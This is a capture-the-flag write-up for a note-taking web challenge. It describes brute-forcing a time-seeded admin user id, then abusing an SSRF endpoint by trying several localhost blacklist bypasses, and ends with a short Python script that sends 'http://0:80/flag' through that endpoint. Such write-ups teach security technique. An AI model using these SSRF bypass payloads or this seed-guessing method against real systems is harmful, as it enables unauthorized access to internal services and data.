We got part of the leaked source code. Are you able to find the secret?
We're given a link to a note taking app and part of its source. We note a link to /flag
on the navigation bar, but access to it fails, saying that it's only accessible from localhost
.
Taking a look at the source, we examine the create-note functionality:
- If a post is created with a new user (does not exist in the database), a new user is created, with a
user id
seeded by the current time (henceforth calleduser-create-time
- A post id is generated by seeding with the
user id
+ current time (henceforth callednote-create-time
Conveniently, note-create-time
is saved and displayed along with the note.
Since we're told that the admin has left secrets somewhere, we can conclude that the objective here is to recover the user id of admin
and view one of their secret notes.
We assume that the first public note that admin
makes is also their first note, meaning user-create-time
would be a short time before note-create-time
of their first note. Since user-create-time
is rounded to 4 decimal places before being used, it is entirely feasible to brute force user-create-time
. The time range expands slightly because note-create-time
only has a resolution of minutes, but is not an issue.
We recover the user id 7bdeij4oiafjdypqyrl2znwk7w9lulgn
, which we can use to view all notes made by admin
:
Hey look: apparently /y0u_n3v3r_gu3ss_1t
allows us to make arbitrary requests from the server - if we can convince it to visit localhost
, we can retrieve the flag!
Here begins the most painful part of this challenge: /y0u_n3v3r_gu3ss_1t
returns a generic error message when something goes wrong... and when the url provided is blacklisted. We tried variations of the following (and we might have missed some of these because of the wrong port number):
- http://localhost/flag
- http://127.0.0.1/flag
- http://127.1.1.1/flag
- Setting up a HTTP server to redirect to http://localhost/flag, then passing a URL to this server
- Using DNS and providing a domain pointing to localhost
We then started going through the payloads presented on PayloadsAllTheThings. Eventually, we got the flag:
import requests
r = requests.get("http://ctf-9ess.balancedcompo.site:22222/y0u_n3v3r_gu3ss_1t/", params={
"url": f"http://0:80/flag"
})
print(r.text)
This was made much harder by the generic error message - we could not differentiate between an actual error (ie connection refused due to visiting the wrong port) or the blacklist.